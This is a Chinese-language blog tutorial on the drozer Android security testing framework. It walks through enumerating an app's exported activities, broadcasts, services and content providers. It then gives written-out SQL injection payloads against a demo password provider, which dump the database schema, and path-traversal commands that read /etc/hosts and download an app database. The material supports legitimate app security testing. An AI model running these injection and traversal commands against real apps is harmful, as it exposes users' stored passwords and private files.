Drozer的使用
2017-09-21 16:44
295 查看
前言
前面已经讲了drozer的安装和启动,如果你发现执行命令的时候,出现adb server version (31)doesn't match this client (39);killing... error:could not install *smartsocket* listener: cannot bind to ...(10048)
很可能是360手机助手占用了端口,手机卸载360手机助手,Windows结束360手机助手的进程。
下面开始实战。
一、连接手机,进入dz
在前面讲安装dz的时候,已经讲了这部分。大体说一下吧。
手机电脑数据线连接,将手机上的drozer Agent设置Enabled。
电脑执行
adb forward tcp:31415 tcp:31415 drozer console connect
进入dz。
二、操作
1、根据关键字可以查找包名列表
run app.package.list -f com.***
2、获取app信息
run app.package.info -a com.***
3、识别应用的攻击面
run app.package.attacksurface com.***
4、查看activity的详情
Activity是Android四大组件之一,它用于展示界面。Activity是一个应用程序组件,提供一个屏幕,用户可以用来交互为了完成某项任务。Activity中所有操作都与用户密切相关,是一个负责与用户交互的组件,可以通过setContentView(View)来显示指定控件。在一个android应用中,一个Activity通常就是一个单独的屏幕,它上面可以显示一些控件也可以监听并处理用户的事件做出响应。Activity之间通过Intent进行通信。run app.activity.info -a com.***
// 使用这个命令可以查看更详细的内容 run app.activity.info -a com.** -i
5、使用drozer启动这个activity
根据上一节我们知道了这个activity的全称,我们早已知包名。执行:
run app.activity.start –-component com.sgcc.xingfu com.sgcc.xingfu.activity.SplashActivity
执行后,发现可以启动这个页面,这个页面是引导页。
6、查看的broadcast的详情
在Android中,Broadcast是一种广泛运用的在应用程序之间传输信息的机制。而BroadcastReceiver是对发送出来的Broadcast进行过滤接受并响应的一类组件。广播接收者(BroadcastReceiver)用于接收广播Intent的, 广播Intent的发送是通过调用sendBroadcast/sendOrderedBroadcast来实现的。通常一个广播Intent可以被订阅了此Intent的多个广播接收者所接收。run app.broadcast.info -a com***
// 使用这个命令查看broadcast更详细的信息,包括action run app.broadcast.info -a com.*** -i
run app.broadcast.send --component 包名 广播名 run app.broadcast.send --component 包名 --action android.intent.action.XXX
7、content provider
ContentProvider:内容提供者是应用程序之间共享数据的接口,使用ContentProvider共享数据的好处是统一了数据访问方式。run app.provider.info -a com.**
8、查找uri
run app.provider.finduri com.***
获取所有可以访问的Uri
run scanner.provider.finduris -a com.***
对数据进行查看
// 假设存在暴露的provider run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
简单的SQL注入
//假设暴露的是 //content://com.**.sieve.DBContentProvider/Passwords/ // 执行 dz> run app.provider.query content://com.**/Passwords/ --projection "'" unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT ' FROM Passwords dz> run app.provider.query content://com.**/Passwords/ --selection "'" unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (') dz> run app.provider.query content://com.**/Passwords/ --projection "*" | _id | service | username | password | email | dz> run app.provider.query content://com.**/Passwords/ --projection "* from sqlite_master where 1=1; --" // 下面是表格 // 为了方便看,整理了一下
type | name | tbl_name | rootpage | sql |
---|---|---|---|---|
table | android_metadata | android_metadata | 3 | CREATE TABLE android_meta data (locale TEXT) |
table | Passwords | Passwords | 4 | CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email ) |
table | Key | Key | 5 | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT ) |
index | sqlite_autoindex_Key_1 | Key | 6 | null |
run scanner.provider.injection -a com.** run scanner.provider.traversal -a com.**
遍历下载文件
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts dz> run app.provider.download content://com.**.FileBackupProvider/data/data/com.**.sie ve/databases/database.db/home/user/database.db
9、查看暴露的service
很多情况下,一些与用户很少需要产生交互的应用程序,我们一般让它们在后台运行就行了,而且在它们运行期间我们仍然能运行其他的应用。为了处理这种后台进程,Android引入了Service的概念。run app.service.info -a com.***
注:此APP已经优化,复现不了以上步骤,大家可以自己写个demo或者从网络上download其他工程进行操作。
相关文章推荐
- Drozer的安装和使用(-)
- drozer工具的安装与使用:之二使用篇
- drozer安装与使用
- Windows端Drozer使用(Android APP应用安全评估框架)
- Drozer快速使用指南
- drozer安装使用教程(Windows)
- drozer工具的安装与使用:之一安装篇
- 使用drozer.bat console connect 时报错的解决方法
- drozer与adb工具的安装与使用
- Drozer快速使用指南
- drozer的使用介绍
- drozer与adb工具的安装与使用
- Drozer安装使用及报错解决办法
- android安全框架工具drozer使用指南
- 使用drozer连接时提示:Could not find java. Please ensure that it is installed and on your path
- Android APP安全评估工具 Drozer - 使用介绍
- 【安全测试】Drozer安装及使用
- drozer工具的安装与使用:之一安装篇
- 【安全测试】Drozer安装及使用
- MacOS安装并使用Drozer总结